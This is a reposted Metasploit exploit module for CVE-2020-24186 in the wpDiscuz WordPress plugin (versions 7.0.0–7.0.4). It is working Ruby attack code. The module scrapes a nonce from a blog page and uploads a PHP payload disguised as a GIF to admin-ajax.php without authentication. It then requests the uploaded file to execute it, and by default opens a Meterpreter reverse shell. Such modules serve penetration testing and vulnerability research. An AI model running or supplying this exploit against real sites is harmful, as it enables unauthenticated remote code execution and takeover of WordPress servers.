Exploit for WordPress wpDiscuz 7.0.4 Shell Upload CVE-2020-24186

## https://sploitus.com/exploit?id=PACKETSTORM:163302
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability',  
'Description' => %q{  
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin  
versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability  
to upload arbitrary files, including PHP files, and achieve remote code execution on a  
vulnerable site’s server.  
},  
'Author' =>  
[  
'Chloe Chamberland', # Vulnerability Discovery, initial msf module  
'Hoa Nguyen - SunCSR' # Metasploit Module enhancement  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2020-24186'],  
['WPVDB', '10333'],  
['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],  
['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],  
['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']  
],  
'Privileged' => false,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['wpDiscuz < 7.0.5', {}]],  
'DisclosureDate' => '2020-02-21',  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
},  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options [  
OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]),  
]  
end  
  
def check  
check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')  
end  
  
def blogpath  
datastore['BLOGPATH']  
end  
  
def find_wmusecurity_id  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) })  
fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res  
  
wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures  
unless wmusecurity_id  
fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id')  
end  
  
wmusecurity_id  
end  
  
def exploit  
wmusecurity_id = find_wmusecurity_id[0]  
php_page_name = "#{rand_text_alpha(5..12)}.php"  
data = Rex::MIME::Message.new  
data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')  
data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')  
data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')  
data.add_part('1', nil, nil, 'form-data; name="postId"')  
data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")  
post_data = data.to_s  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
)  
  
fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res  
unless res.code == 200 && res.body =~ /#{php_page_name}/  
fail_with(Failure::UnexpectedReply, 'Unable to deploy payload')  
end  
  
json_data = JSON.parse(res.body)  
upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url')  
fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url  
wp_shell_upload = upload_url.split('/').last  
fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php')  
print_good("Payload uploaded as #{php_page_name}")  
register_file_for_cleanup(php_page_name)  
  
print_status('Calling payload...')  
time = Time.new  
year = time.year.to_s  
month = format('%02d', time.month)  
send_request_cgi(  
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) }  
)  
end  
end